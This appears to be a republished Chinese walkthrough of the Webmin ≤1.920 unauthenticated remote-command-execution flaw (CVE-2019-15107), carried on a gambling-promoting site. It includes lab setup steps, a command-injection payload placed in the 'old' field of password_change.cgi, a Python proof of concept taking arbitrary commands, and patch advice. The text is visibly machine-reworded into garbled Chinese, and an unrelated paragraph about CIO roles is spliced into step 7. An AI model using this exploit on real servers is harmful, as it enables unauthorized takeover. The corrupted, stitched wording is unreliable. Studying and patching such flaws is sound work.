Webmin | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107)应用测试

申博_新闻事件 申博 95次浏览 未收录 0个评论

0x00 媒介

2019年8月10日,Ozkan(@ehakkus)在DEFCON AppSec Village公开了一个0 day,1.930以下版本的Webmin存在长途代码实行破绽,文章地点以下:

https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html

我对这个破绽举行了跟踪研讨,本文将要纪录测试历程,依据破绽道理运用Python编写一个POC,并给出防备发起。

0x01 简介

本文将要引见以下内容:

· 破绽简介

· 搭建测试环境

· 运用Burp Suite复现破绽

· 运用Python编写POC

0x02 破绽简介

Webmin是基于Web的Unix体系管理工具,简朴明白:运用Webmin能够经由过程浏览器长途管理Unix体系的主机。

1.930以下版本的Webmin存在长途代码实行破绽,当Webmin的Password expiry policy设置为Prompt users with expired passwords to enter a new one时(默许设置为Always deny users with expired passwords),经由过程组织特别花样的POST包,能够完成长途代码实行。

0x03 搭建测试环境和破绽复现

测试体系: Centos7 x64 IP:192.168.112.181

1.装置perl和依靠库

yum -y install perl
yum -y install perl-Net-SSLeay
yum -y install perl-Encode-Detect

2.下载并装置存在破绽的Webadmin(1.920)

wget https://sourceforge.net/projects/webadmin/files/webmin/1.920/webmin-1.920-1.noarch.rpm
rpm -U webmin-1.920-1.noarch.rpm

装置胜利后Webadmin默许开启SSL。

3.设置防火墙,翻开10000端口,支撑长途接见

增加10000端口:

firewall-cmd --zone=public --add-port=10000/tcp --permanent

重启防火墙:

firewall-cmd --reload

检察端口号是不是开启:

firewall-cmd --query-port=10000/tcp

4.长途登录

https://192.168.112.181:10000

登录页面以下图:

Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107)应用测试

运用Centos的root用户口令举行登录。

注:为了便于测试,能够先封闭SSL功用,位置为:Webmin Configuration -> SSL Encryption

以下图:

Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107)应用测试

新的登录页面为http://192.168.112.181:10000。

5.修正Password expiry policy

位置为:Webmin Configuration -> Authentication

默许为Always deny users with expired passwords

修正为Prompt users with expired passwords to enter a new on

以下图:

Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107)应用测试

6.增加新用户

位置为:Webmin Users

增加用户胜利后,修正Password选项,增加Force change at next login

以下图:

Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107)应用测试

7.运用新用户登录

IT领导者的未来:CIO将需要扮演的5个新角色

  过去几年技术领导者的角色发生了很大变化,这不仅仅是轻描淡写,而是有无数证据佐证的现实。 云计算和流程自动化的广泛采用降低了IT部门的工作量;基础设施的大规模资本支出正在被增加的服务运营费用所取代;与此同时,CIO在企业数字化转型中发挥积极领导作用的压力比以往任何时候都要大。 Trello和Jira等协作工具制造商Atlassian的首席信息官Archana Rao表示: “如果回头看十年前的CIO,那时的他们需要在堆栈的基层和数据中心花费大量的时间。

提醒须要修正暗码。

以下图:

Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107)应用测试

8.开启Burp Suite举行抓包

恣意输入旧口令和新的口令。

Burp Suite抓包以下图:

Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107)应用测试

一般的返回效果以下图:

Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107)应用测试

9.修正POST包,增加Payload

反复步骤8,并修正POST包。

原数据:

user=a&pam=&expired=2&old=123&new1=456&new2=456

新数据:

user=a&pam=&expired=2&old=123|id&new1=456&new2=456

以下图:

Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107)应用测试

新的效果以下图:

Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107)应用测试

实行了敕令(id)并输出效果。

0x04 运用Python编写POC

Ozkan(@ehakkus)在他的文章中运用ruby编写了POC,这里运用Python依据Burp Suite的抓包状况重写一个POC。

须要斟酌以下题目:

1.Python运用requests发送POST包

POST包花样以下图:

Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107)应用测试

对应Python运用requests发送POST包的代码以下:

import requests
def test_post_http(ip,command):
    try:
        url = 'http://' + ip + ':10000/password_change.cgi'
        headers = {
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': "gzip, deflate",
            'Referer': 'http://' + ip + ':10000/session_login.cgi',
            'Cookie': 'redirect=1; testing=1; sid=x',
            'Connection': 'close',
            'Upgrade-Insecure-Requests': '1',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Content-Length': '47'
        } 
        payload = 'user=a&pam=&expired=2&old=test|' + command + '&new1=test1&new2=test1'
        r = requests.post(url, data=payload, headers = headers)
    	print r.text
    except Exception as e:
            print '[!]Error:%s'%e

2.增加对效果的辨认

假如Webmin未开启Prompt users with expired passwords to enter a new one,效果为:

<h1>Error - Perl execution failed</h1>
<p>Password changing is not enabled! at /usr/libexec/webmin/password_change.cgi line 12.
</p>

假如Webmin运用https,效果为:

<h1>Error - Document follows</h1>
<pre>This web server is running in SSL mode. Try the URL <a href='https://webmin-node-reddis:10000/'>https://webmin-node-reddis:10000/</a> instead.<br></pre>

假如Webmin开启Prompt users with expired passwords to enter a new one,效果为:

<hr>
<center><h3>Failed to change password : The current password is incorrect</h3></center>
<hr>

3.增加对HTTPS的支撑

假如效果为This web server is running in SSL mode.,那末跳转到HTTPS再次测试。

别的,须要作废证书考证。

原代码:

r = requests.post(url, data=payload, headers = headers)

新代码:

r = requests.post(url, data=payload, headers = headers, verify = False)

作废证书的ssl-warning,增加代码:

import warnings
warnings.filterwarnings("ignore")

不然,会提醒:

C:\Python27\lib\site-packages\urllib3-1.25.3-py2.7.egg\urllib3\connectionpool.py:851: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: ttps://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings  InsecureRequestWarning)

完全测试代码已开源,地点以下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107).py

0x05 防备发起

1.晋级至1.930。

2.Password expiry policy采纳默许设置。

0x06 小结

本文对Webmin<=1.920的长途代码实行举行测试,纪录历程,依据破绽道理运用Python编写一个POC,并给出防备发起。

原文地点: https://www.4hou.com/technology/19803.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107)应用测试
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址